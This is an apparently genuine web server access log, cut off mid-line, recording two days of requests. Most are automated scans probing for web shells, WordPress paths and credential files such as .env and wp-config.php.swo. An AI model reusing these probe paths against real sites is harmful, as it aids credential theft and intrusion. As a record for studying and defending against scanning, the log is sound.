52.178.176.146 - - [28/Apr/2026:14:53:43 +0300] "GET /wp-01ul.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:06 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:41 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:46 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:49 +0300] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:01 +0300] "GET /wpconf.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:35 +0300] "GET /rendi59.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:43 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:22 +0300] "GET /zhw.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:22 +0300] "GET /casp1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:51 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:51 +0300] "GET /file-kikikoko.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:22 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:07 +0300] "GET /bojcdooq.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:34 +0300] "GET /cro.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:40 +0300] "GET /shelp.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:49 +0300] "GET /seyv.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:05 +0300] "GET /sder5252u.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:08 +0300] "GET /sderty5u.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:11 +0300] "GET /hilk.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:15 +0300] "GET /miso.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:35 +0300] "GET /fictioner.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:27 +0300] "GET /67.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:42 +0300] "GET /drykl.php HTTP/1.1" 301 795 "-" "-" 91.84.111.146 - - [28/Apr/2026:16:28:13 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 223.204.116.75 - - [28/Apr/2026:20:12:47 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 216.73.160.138 - - [28/Apr/2026:21:33:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.12.13" 109.120.179.41 - - [28/Apr/2026:18:36:37 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 114.80.36.40 - - [28/Apr/2026:17:17:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.37.243 - - [28/Apr/2026:18:54:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.45.43.199 - - [28/Apr/2026:20:19:41 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.4047.61 Safari/537.36 OPR/63.0.3368.43" 178.236.243.154 - - [28/Apr/2026:16:52:42 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 85.137.48.167 - - [28/Apr/2026:17:30:13 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.135.139.165 - - [28/Apr/2026:17:56:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.129.180.21 - - [28/Apr/2026:18:38:10 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 220.116.142.217 - - [28/Apr/2026:20:44:27 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 93.158.90.66 - - [28/Apr/2026:21:28:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.1" 20.220.233.65 - - [28/Apr/2026:22:45:35 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:45:40 +0300] "GET /.env.php.dist HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:46:32 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:46:43 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:46:47 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:46:11 +0300] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:46:53 +0300] "GET /white.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:46:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:46:56 +0300] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:46:59 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 45.55.62.150 - - [28/Apr/2026:23:36:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.220.233.65 - - [28/Apr/2026:22:45:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:47:16 +0300] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:47:19 +0300] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 45.55.62.150 - - [28/Apr/2026:23:36:58 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.220.233.65 - - [28/Apr/2026:22:46:37 +0300] "GET /env.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:47:08 +0300] "GET /smtp.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:45:48 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:45:56 +0300] "GET /wp-system.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:46:22 +0300] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:47:24 +0300] "GET /temp.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [28/Apr/2026:22:47:27 +0300] "GET /1100.php HTTP/1.1" 301 795 "-" "-" 182.40.104.255 - - [28/Apr/2026:23:47:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 74.7.242.35 - - [29/Apr/2026:02:51:49 +0300] "GET / HTTP/1.1" 301 795 "https://www.findglocal.com" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 43.159.152.187 - - [29/Apr/2026:00:40:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.191.45.212 - - [29/Apr/2026:01:34:32 +0300] "GET / HTTP/1.1" 301 795 "-" "DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)" 167.94.146.48 - - [29/Apr/2026:01:19:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 74.7.241.143 - - [29/Apr/2026:02:51:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 45.148.10.159 - - [29/Apr/2026:02:53:38 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 43.155.195.141 - - [29/Apr/2026:01:40:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.40.249.237 - - [29/Apr/2026:03:40:54 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 89.117.104.41 - - [29/Apr/2026:06:23:33 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:36 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:36 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:36 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:08 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:08 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:08 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:08 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:09 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:09 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:09 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:09 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:09 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:41 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:47 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:49 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:53 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:56 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:00 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:03 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:31 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:35 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:37 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:40 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:43 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:45 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:48 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:48 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:50 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:53 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:53 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:56 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:56 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:56 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:57 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:57 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:57 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:57 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:57 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:57 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:01 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:01 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:01 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:01 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:01 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:01 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:02 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:02 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:02 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:05 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:07 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:50 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:09 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:07 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:11 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:11 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:15 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:19 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:21 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:24 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:27 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:27:00 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:27:06 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:27:06 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:27:06 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:27:06 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:27:07 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:28 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:31 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:34 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:37 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:57 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:16 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:19 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:17 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:24:20 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:24 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:25:27 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:16 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:20 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:23 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:26 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:26 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:27 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:27 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:27 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:27 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:27 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:23:27 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:31 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:34 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:37 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:40 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:40 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:43 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:47 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:49 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:51 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:53 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:26:55 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 89.117.104.41 - - [29/Apr/2026:06:27:11 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 34.35.85.82 - - [29/Apr/2026:07:07:10 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko" 34.35.85.82 - - [29/Apr/2026:07:07:11 +0300] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 34.35.85.82 - - [29/Apr/2026:07:07:10 +0300] "GET /.env.local HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" 34.35.85.82 - - [29/Apr/2026:07:07:10 +0300] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36" 34.35.85.82 - - [29/Apr/2026:07:07:10 +0300] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) SFive/64.0 Chrome/64.0.3282.204 Safari/537.36" 170.106.82.209 - - [29/Apr/2026:07:19:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.163.146.197 - - [29/Apr/2026:07:32:58 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.138.68.113 - - [29/Apr/2026:08:00:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.37.243 - - [29/Apr/2026:07:58:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.204.38.174 - - [29/Apr/2026:08:58:47 +0300] "GET / HTTP/1.1" 301 795 "-" "UCmore" 109.172.93.45 - - [29/Apr/2026:07:40:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5" 20.220.233.65 - - [29/Apr/2026:11:16:37 +0300] "GET /.env.php.dist HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:16:40 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:15:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:16:16 +0300] "GET /wp-config.php.swo HTTP/1.1" 301 795 "-" "-" 196.196.53.9 - - [29/Apr/2026:10:27:37 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" 20.220.233.65 - - [29/Apr/2026:11:15:47 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:17:06 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:16:01 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:17:10 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:16:47 +0300] "GET /white.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:16:59 +0300] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:15:36 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:16:26 +0300] "GET /smtp.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [29/Apr/2026:11:16:52 +0300] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 43.128.149.102 - - [29/Apr/2026:11:27:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.113.159 - - [29/Apr/2026:12:09:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.99.151.197 - - [29/Apr/2026:14:00:46 +0300] "GET 